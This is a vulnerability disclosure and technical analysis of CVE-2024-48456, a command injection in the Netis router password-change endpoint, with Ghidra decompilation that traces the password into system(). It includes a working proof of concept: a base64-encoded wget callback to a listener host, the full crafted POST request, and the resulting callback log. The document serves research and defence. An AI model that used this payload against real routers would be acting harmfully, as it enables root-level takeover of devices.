ORIGINAL RESEARCHEXPLOIT DEVELOPMENTCVE-2024-48456

CVE-2024-48456 — Netis Routers Password Change Command Injection

Authenticated blind OS command injection in the Netis administrative password-change workflow. The flaw can be chained with CVE-2024-48455 and CVE-2024-48457 for unauthenticated remote code execution.

Originally published on Rapid7 AttackerKB · 2025-01-07

Overview

CVE-2024-48456 is an authenticated blind OS command injection vulnerability in the administrative password-change workflow of multiple Netis routers and rebranded devices from GLCtec and Stonet. User-controlled password values ultimately reach a shell command used to update the router’s underlying root password.

The vulnerability is particularly significant as part of the three-CVE Netis chain: CVE-2024-48455 can identify a vulnerable target without authentication, CVE-2024-48457 can reset the administrator password, and CVE-2024-48456 can then execute operating-system commands.

Attack prerequisites

Exploitation of CVE-2024-48456 by itself requires access to the router administration interface with valid administrator credentials. The related CVE-2024-48457 can remove that prerequisite when the vulnerabilities are chained.

Proof of concept

  1. Sign in to the router administration interface.
  2. Navigate to Tools → Admin Password.
  3. Capture the password-change POST request.
  4. Base64-encode a command such as `wget http://192.168.1.2`.
  5. Place the encoded value in the password and new_pwd_confirm parameters.
  6. Start an HTTP listener on the testing system.
  7. Replay the modified request and observe the callback.
# echo -n '`wget http://192.168.1.2`'|base64
YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA==
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

POST Request

POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Cookie: password=SWwwdmVoYWNraW5n
Content-Length: 167
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: text/plain, */*; q=0.01
Sec-Ch-Ua-Platform: "Linux"
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/password.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: keep-alive

password=YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA%3D%3D&new_pwd_confirm=YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA%3D%3D&passwd_set=passwd_set&mode_name=skk_set&app=passwd&wl_link=0

Response

HTTP/1.1 200 OK
Date: Sun, 01 Jan 2023 00:13:24 GMT
Server: Boa/0.94.14rc21
Connection: close

["SUCCESS"]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.1 - - [27/Dec/2024 17:55:56] "GET / HTTP/1.1" 200 -

Technical analysis

The router web application is implemented in the MIPS ELF binary /bin/netis.cgi. Decompiling this binary with Ghidra shows that the main program dispatches CGI handlers including skk_set.cgi, the endpoint used by the password-change request.

undefined4 main(undefined4 param_1,char **param_2)

{
  bool bVar1;
  size_t sVar2;
  int iVar3;
  char *pcVar4;
  char *local_188;
  int local_184;
  int local_17c;
  void *local_160;
  char acStack_15c [256];
  char cStack_5c;
  char acStack_5b [63];
  int local_1c;
  char *local_18 [4];

  local_160 = (void *)0x0;
  memset(&cStack_5c,0,0x40);
  local_1c = 0;
  sVar2 = strlen(*param_2);
  while (local_1c < (int)sVar2) {
    memset(&cStack_5c,0,0x40);
    iVar3 = local_1c;
    FUN_0040670c((int)*param_2,'/',&local_1c);
    strncpy(&cStack_5c,*param_2 + iVar3,local_1c - iVar3);
    do {
      local_1c = local_1c + 1;
    } while ((*param_2)[local_1c] == '/');
  }
  local_188 = &cStack_5c;
  bVar1 = false;
  local_18[0] = "skk_set.cgi";
  local_18[1] = "upload_config.cgi";
  local_18[2] = "upload_fw.cgi";
  local_18[3] = (char *)0x0;
  local_17c = 0;
  do {
    if (local_18[local_17c] == (char *)0x0) {
LAB_00405408:
      if (bVar1) {
        iVar3 = open("/tmp/lock_all.lock",0x702,0x1b4);
        if (iVar3 < 0) {
          local_184 = FUN_004050fc();
          if (local_184 < 0) {
            local_184 = 0;
          }
          FUN_00405060(local_184);
          if (2 < local_184) {
            system("rm -rf /tmp/lock_all.lock");
            FUN_00405060(0);
          }
          printf("[\"LOCK\"]");
          return 0;
        }
        close(iVar3);
      }
      apmib_init();
      FUN_00422c38(&local_160,param_2[1]);
      DAT_00440d40 = FUN_00405190();
      if (local_188 == (char *)0x0) {
        iVar3 = access("/tmp/lock_all.lock",0);
        if (iVar3 == 0) {
          system("rm -rf /tmp/lock_all.lock");
        }
        FUN_004214cc(&local_160);
        printf("[\"%d\"]",999);
      }
      else {
        pcVar4 = strstr(local_188,".cgi");
        if (pcVar4 != (char *)0x0) {
          pcVar4 = strchr(local_188,0x2f);
          if (pcVar4 != (char *)0x0) {
            local_188 = acStack_5b;
          }
          FUN_00405764(local_188,&local_160,acStack_15c);
        }
        fflush(stdout);
        FUN_004214cc(&local_160);
        iVar3 = access("/tmp/lock_all.lock",0);
        if (iVar3 == 0) {
          system("rm -rf /tmp/lock_all.lock");
        }
        FUN_00405060(0);
      }
      return 0;
    }
    iVar3 = strcmp(local_188,local_18[local_17c]);
    if (iVar3 == 0) {
      bVar1 = true;
      goto LAB_00405408;
    }
    local_17c = local_17c + 1;
  } while( true );
}

Tracing password-related references in Ghidra identifies the ex_password symbol, which points to /bin/script/password.sh:

                             ex_password                                     XREF[2]:     Entry Point(*),
                                                                                          FUN_0041301c:00413180(*)
        0043be44 2f 62 69        ds         "/bin/script/password.sh"
                 6e 2f 73
                 63 72 69

The surrounding function invokes this component through FUN_00402e00("%s > /dev/console", ex_password, ...):

undefined4 FUN_0041301c(undefined4 *param_1,undefined4 param_2,char *param_3,undefined4 param_4)

{
  char *pcVar1;
  byte *pbVar2;
  byte abStack_8c [132];

  pcVar1 = FUN_00405644(param_1,"usb3gEnabled");
  if (pcVar1 != (char *)0x0) {
    FUN_00405644(param_1,"usb3gPinCode");
    param_3 = FUN_00405644(param_1,"usb3gApn");
    param_4 = 0;
    FUN_00412fe4();
    FUN_00402e00("%s > /dev/console",ex_usbcontrol,param_3,param_4);
  }
  pbVar2 = (byte *)FUN_00405644(param_1,"ssid2g");
  if (pbVar2 != (byte *)0x0) {
    FUN_004030f4(abStack_8c,pbVar2);
    strcpy((char *)(pMib + 0x42c1),(char *)abStack_8c);
  }
  FUN_00402e00("echo 0 > %s","/proc/http_redirect/enable",param_3,param_4);
  memset(abStack_8c,0,0x80);
  apmib_get(0x159,abStack_8c);
  pcVar1 = "/proc/rtl_dnstrap/domain_name";
  FUN_00402e00("echo \'%s\' > %s",abStack_8c,"/proc/rtl_dnstrap/domain_name",param_4);
  FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);
  FUN_00402e00("%s > /dev/console",param_2,pcVar1,param_4);
  return 0;
}

Runtime process monitoring confirms that this path is executed when the password-change request is processed:

# while true; do ps|grep -e password.sh -e rtl -e http_redirect|grep -v grep;done
 3518 root      1132 R    /bin/sh -c echo 0 > /proc/http_redirect/enable
 3520 root      1132 R    /bin/sh -c echo 'netis.cc' > /proc/rtl_dnstrap/domain
 3531 root      1140 S    /bin/sh -c /bin/script/password.sh > /dev/console
 3538 root       324 R    /bin/script/password.sh
 3531 root      1140 S    /bin/sh -c /bin/script/password.sh > /dev/console
 3538 root      1656 S    /bin/script/password.sh

The process trace shows /bin/script/password.sh executing during the request. Despite the .sh extension, this file is itself a compiled MIPS ELF binary. Decompiling it and tracing password-related strings leads to the following code path:

                             s_Changed_Username_and_Password_.._0041dc80     XREF[1]:     FUN_00409590:0040969c(*)
        0041dc80 43 68 61        ds         "Changed Username and Password ...........\n"
                 6e 67 65
                 64 20 55

The referenced function implements the password update and exposes two security-relevant behaviors:

void FUN_00409590(void)

{
  undefined auStack_488 [64];
  undefined auStack_448 [64];
  undefined auStack_408 [1024];

  memset(auStack_408,0,0x400);
  memset(auStack_488,0,0x40);
  memset(auStack_448,0,0x40);
  apmib_get(0x15d,auStack_488);
  apmib_get(0x15e,auStack_448);
  RunSystemCmd("echo \"root::0:0:root:/:/bin/sh\" > /var/passwd");
  RunSystemCmd("echo \"nobody:x:0:0:nobody:/:/dev/null\" >> /var/passwd");
  RunSystemCmd("echo root:%s | chpasswd -m",auStack_448);
  RunSystemCmd("echo \"root:x:0:root\" > /var/group");
  RunSystemCmd("echo \"nobody:x:0:nobody\" >> /var/group");
  RunSystemCmd("chmod 755 /var/passwd");
  RunSystemCmd("chmod 755 /var/group");
  fwrite("Changed Username and Password ...........\n",1,0x2a,stderr);
  return;
}

Root cause

First, the web-administration password is propagated to the router’s operating-system root account. More importantly for CVE-2024-48456, the attacker-controlled password value represented by auStack_448 is interpolated into RunSystemCmd("echo root:%s | chpasswd -m", auStack_448). Shell metacharacters in that value can therefore alter the command line.

RunSystemCmd, provided by libapmib.so, formats the supplied string and executes it with the standard system() call:

void RunSystemCmd(char *param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)

{
  undefined4 local_res4;
  undefined4 local_res8;
  undefined4 local_resc;
  char acStack_118 [256];
  undefined4 *local_18;

  local_res4 = param_2;
  local_res8 = param_3;
  local_resc = param_4;
  memset(acStack_118,0,0x100);
  local_18 = &local_res4;
  vsprintf(acStack_118,param_1,local_18);
  system(acStack_118);
  return;
}

Exploit chain

CVE-2024-48456 can be combined with CVE-2024-48455 and CVE-2024-48457 to remove the authentication prerequisite and obtain unauthenticated remote code execution. A Metasploit module was developed to automate this chain.

Impact

Successful exploitation executes arbitrary shell commands in the router’s privileged operating-system context. Because the administration password is tied to the root account, compromise of this workflow crosses directly from the web interface into system-level control.

Remediation

The archived research recorded no fix available at the time of publication. The following firmware images were confirmed vulnerable:

References

Credits

Discovery: h00die-gr3y.